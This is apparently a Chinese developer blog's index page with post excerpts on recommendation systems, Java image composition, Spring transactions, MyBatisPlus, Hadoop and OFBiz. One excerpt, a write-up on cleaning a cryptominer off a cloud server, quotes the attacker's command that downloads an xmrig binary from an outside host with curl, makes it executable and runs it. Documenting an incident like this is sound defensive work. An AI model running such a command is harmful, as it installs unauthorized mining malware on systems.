使用PaddleRec构建电影推荐系统

最近在学习智能推荐这块的内容,以前从来没有接触过,而且对数学、算法这类的知识是有所欠缺的,所以学习起来可能会费力些,所以就基于百度AI平台做一些demo

我理解的智能推荐

一共3个部分,分别是 用户信息、项目(Item)信息、用户和内容关联信息,拿常见的电影喜好预测来说,用户信息是网站用户,项目信息是电影,而内容关联信息是用户给电影的打分,通过把大量的用户特征+项目特征,和真实评分放到一起,可以通过一些模型来学习这些用户的喜好,其实就是把某一类用户的特征总结出来,发现他们喜欢什么类型的电影。

为什么选择PaddleRec

在算法和机器学习领域,我属于小白,而通过体验了一些关于机器学习的附带产品后,感觉百度AI还是非常不错的,例如它的图像处理等,而且主要是Ai Studio有一键部署的坏境和免费的GPU训练,并且也有很多前辈写好的代码和说明。

下面就把在AI Studio平台学习的过程分享出来,我在百度平台开源的项目地址在 https://aistudio.baidu.com/aistudio/projectdetail/4508155

项目概述

本项目的代码是基于 告别电影荒,手把手[……]

继续阅读

Java 利用 Thumbnailator 合成图片实例

一直以来 Thumbnailator 都是图片压缩、制作缩略图的利器,也是一直在更新,最近一次的更新也是在2022年的1月初。(https://github.com/coobird/thumbnailator

最近项目中遇到一个分享的功能,需要后台合成一张图片,图片除了本身的模板之外,还有一个用户头像、文字、二维码、和一些其他信息,就像下面这张图。

file

本身项目中也是用到了 Thumbnailator,后来就想着减少引入包,看看它有没有合成的功能。一顿Google猛如虎,没有明确的找到图片合成,但是留意到一个关键字,就是“水印”,一般的水印都是带透明度的,要是我把水印的透明度设置成 0%,不就好了,开干!~

最终代码如下:


//GroupBuyInfo 这是我获取信息的自定义的Bean
    public static BufferedImage makePoster(GroupBuyInfo gbi){
        //待返回的 BufferedImage对象,如果你想返回其他的也很方便
        BufferedImage poster = null;[......]

继续阅读

记一次Spring里在事务和同步锁中犯的错误

先简单描述一下状况,有订单相关业务,一共有2个service类,一个操作订单简称order(Service),一个操作库存的,简称inventory(Service),在order中有A方法,是在数据库中新增订单数据的,在inventory中,有B方法,是扣除库存用的,在方法A中,会调用B,这2个service的class都加了 @Transactional 注解,情况大概是这样。

class orderService{
    public void A(){
        //保存订单信息
        saveOrder();

        //扣除库存
        B(); 

        //其他业务代码
    }
}

在B方法,扣除库存当中,会先查询该商品的库存(大概意思,实际业务中会比较多的校验),然后做对应得库存扣减,但是呢,这个B方法,是个通用(公共)方法,在仓储模块中,也会调用到这个方法,所以我非(zi)常(zuo)得(cong)意(ming)的在 B 方法上加了 synchronized 关键字,企图给这个方法加个同步锁,好在并发的时候不要扣错库[……]

继续阅读

使用MyBatisPlus的自定义SQL方法时遇到的一些问题

在MyBatisPlus的使用过程中,之前很多时候都是使用queryWrapper(条件构造器)的构造方法传入实体对象,来实现条件的构造,例如

contentCategoryService.list(new QueryWrapper<ContentCategory>(contentCategory))

这个方法里是这么写的,原先我以为构造这里会去利用entity构造一个MP的条件对象,直到我用了自定义sql的方法。

public QueryWrapper(T entity) {
    super.setEntity(entity);
    super.initNeed();
}

MP 是支持自定义sql的,官方文档用法如下:
file

看demo的理解就是MP会帮助你拼接wrapper中构造的条件,利用 ew.customSqlSegment 注入到sql中去,但是在实际使用中发现,只有调用条件构造方法(例如 eq like ne 等方法)才能顺利的拼接到SQL中去,这个着实让不少人踩了坑(并没有诋毁和不尊重开源团队的意思),因为这个文档也是在2020年才补上去的 &#x1F6[……]

继续阅读

MybatisPlus主键为空字符串仍然被查询

最近在使用MyBatisPlus的时候遇到一个问题,就是controller中被spring封装bean,在默认使用MP的QueryWrapper构造查询的时候主键是空字符,也就是"" 的时候,仍然会被作为查询条件,被拼接到sql中了。
例如

productService.list(new GenericQueryWrapper<Product>(product))

注意,这里只是主键,其他的字段可以通过全局的
mybatis-plus.global-config.db-config.select-strategy=not_empty
来处理,特殊情况可以用TableField注解实现。

Google了一大圈,发现并没有好的解决办法,倒是看到一个哥们的文章,链接找不到了,但是方法并不是很好,在每次查询面前,对主键做一个判断,但是这样就很不方便了。

public TableDataInfo list(Product product)
{
    if (StringUtils.isEmpty(product.getProductId())) {[......]

继续阅读

记一次清除阿里云挖矿脚本的过程

2021年07月14日更新
最近再次被挂马了,而且还是一样的请求地址和路径,应该是同一个人所为,继续发现问题,看路径是我这个springboot项目下的子进程,猜测是java或者java的某个lib的漏洞,于是去搜索了一下我这个开源项目,找到了一些端倪。

https://gitee.com/y_project/RuoYi/issues/I383NE

最近我的办法是,更新Shiro的秘钥,再尝试一下是否可以避免这个问题。

某天,在阿里云的控制面板收到了一些警告,有异常的出口请求,和疑似被植入了挖矿程序,马上登陆到服务器上看一眼。

file

点进去看一下,是一个病毒,伪装成watchdog命令执行的操作,看命令的具体操作如下

/bin/sh -c pidof /tmp/watchdog || bash -c 'curl https://whatsmyipv4.cf/xmrig -o /tmp/watchdog && chmod +x /tmp/watchdog && nohup /tmp/watchdog --donate-level 1 -o sg.m[......]

继续阅读

企业微信会话存档服务记录过程

因为一些临时项目,需要开通一下企业微信的会话存档,并拉取到本地,进行一些汇总分析,只做短期使用。

在github上找到一个开源库
https://github.com/5venw0ng/QyChat

https://github.com/5venw0ng/QyChat-iview

于是fork了代码,进行开发,但是在开发过程中,遇到了一些坑,现在记录下来

错误1:weijava.security.InvalidKeyException: IOException : algid parse error, not a sequence

这个错误是由于PKCS的版本问题造成的,由于在生成秘钥对的时候,使用的是PKCS#1生成的,在本地私钥解密的时候也是如此,但不知为何,报错了,但是,将它转换成PKCS#8格式即可

在下面的网站即可转换 PKCS#1 to PKCS#8 同样在生成秘钥对的时候,也是用这个网站的

file

错误2:java.lang.UnsatisfiedLinkError: no WeWorkFinanceSdk_Java in java.library.path

这个坑踩的最久,是[……]

继续阅读

若依(springboot2.x)集成 liquibase

这么做的初衷是不想让团队成员在表结构的更改,seed 数据和 demo 数据的配置这块浪费时间,考虑到以前 OFBiz 的 entity engine 的功能,可以自定义字段,在启动时检查并更新数据库,于是就在朋友推荐下,找到了这个开源软件 liquibase,下面记录下使用过程。

liquibase 是什么,之类就不过多讲了,大家可以 Google 一下,很多,我用的是若依4.x 的开发脚手架,基于 springboot 2.x 的

  1. 添加依赖,我把它放在了 ruoyi-common 这个模块下,在模块的 pom.xml 中增加一个依赖

    <!-- 数据库版本管理工具 -->
    <dependency>
    <groupId>org.liquibase</groupId>
    <artifactId>liquibase-core</artifactId>
    </dependency>
  2. 编写配置类

package com.ruoyi.common.config;
import liquibase.integ[......]

继续阅读

Hadoop学习笔记(一)坑点

运行环境:MacOS 10.12.x

VirtualBox 虚拟机:Hadoop 2.7.7,JDK1.8,Ubuntu 16.04.x、网络 Host-only

namenode机 master,datanode 机器 slave1、slave2、slave3

踩坑点一,必须在 namenode ping通 datanode,才可以
步骤:

  1. 全选虚拟机批量后台启动
  2. 在 master 执行 hadoop-daemon.sh start namenode  成功
  3. 在 slave1 执行 hadoop-daemon.sh start datanode 成功,但是在report 中的 livenode 中可用是0
  4. 在 master 执行 ping slave1,在第5次 ping 的时候,ping 通了,随后 live node+1
  5. 按以上步骤继续加入 slave2、slave3,都是如此,报错为   Problem connecting to server: master/192.168.56.100:9000

[……]

继续阅读

OFBiz16+版本开启HTTPS

为了方便访问,尝试对 OFBiz 16的版本(apache-ofbiz-16.11.03)关闭强制 https,可以使用 http 的方式访问,大的系统设置和老版本差不多,是在 url.properties 中开启,不过16版本和12版本,是有些区别的。
file

file
16版本的,把 no.http 设置成 N,然后把 port.https.enabled也设置成 N,按照老版本的思路,到这里就没问题了,但是使用的时候会有问题,访问 http://localhost:8080/facility,登录后,无法使用其他的功能,一点链接就跳转到登录界面,找了一圈原因,发现问题出现在 cookie 上。

出现这种问题,归根结底就是1个原因,Tomcat 认为你是个新访客,查看 Chrome 调试工具,果不其然,每次请求,response 的 header 总会设置1个新的 JSESSIONID,但是,每次刷新,request 里,却没有带上这个 JSESSIONID,导致每次请求都是「新」的。

而且问题就出在 response 返回的 cookie 上,一个 Secure 的关键字,表示这个 cooki[……]

继续阅读